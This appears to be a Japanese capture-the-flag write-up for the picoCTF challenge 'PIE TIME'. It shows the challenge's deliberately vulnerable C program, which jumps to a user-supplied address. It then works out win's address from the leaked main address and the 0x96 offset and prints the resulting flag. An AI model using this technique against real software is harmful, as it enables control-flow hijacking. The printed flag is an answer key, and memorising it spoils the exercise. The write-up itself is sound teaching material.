PIE TIME
## solve
まずはインスタンスを立ち上げて、適当に入力してみる。正しいアドレスを入力すれば flag が取得できそうだ。
bash
❯ nc rescued-float.picoctf.net 51838
Address of main: 0x56fbad91e33d
Enter the address to jump to, ex => 0x12345: 0x12345
Your input: 12345
Segfault Occurred, incorrect address.
提供されているファイルは以下。
vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
入力アドレスに飛ぶような実装なので、win のアドレスを入力値として与えればよいことがわかる。ただし、以下の情報をみると、DNY なため、実行アドレスは毎回変わるようだ。
bash
❯ readelf -h vuln
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Position-Independent Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x11a0
Start of program headers: 64 (bytes into file)
Start of section headers: 15280 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 13
Size of section headers: 64 (bytes)
Number of section headers: 31
Section header string table index: 30
対象となる win と main のシンボルとアドレスを見てみると、差分が 0x96 であることが読み取れるので、バイナリを実行して表示される main のアドレスの差分をとればよいことがわかる。
bash
❯ nm -n vuln | rg ' win$| main$'
00000000000012a7 T win
000000000000133d T main
ローカルで実行してみる。
bash
❯ ./vuln
Address of main: 0x563259d5733d
Enter the address to jump to, ex => 0x12345: 0x563259d572a7
Your input: 563259d572a7
You won!
Cannot open file.
インスタンスを立ち上げて、実行すると flag が手に入る。下位アドレスはローカル実行時と同じなので、ここは変わらないのかもしれない。
bash
❯ nc rescued-float.picoctf.net 58219
Address of main: 0x644a38d3533d
Enter the address to jump to, ex => 0x12345: 0x644a38d352a7
Your input: 644a38d352a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_28a46dcd}
## flag
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_28a46dcd}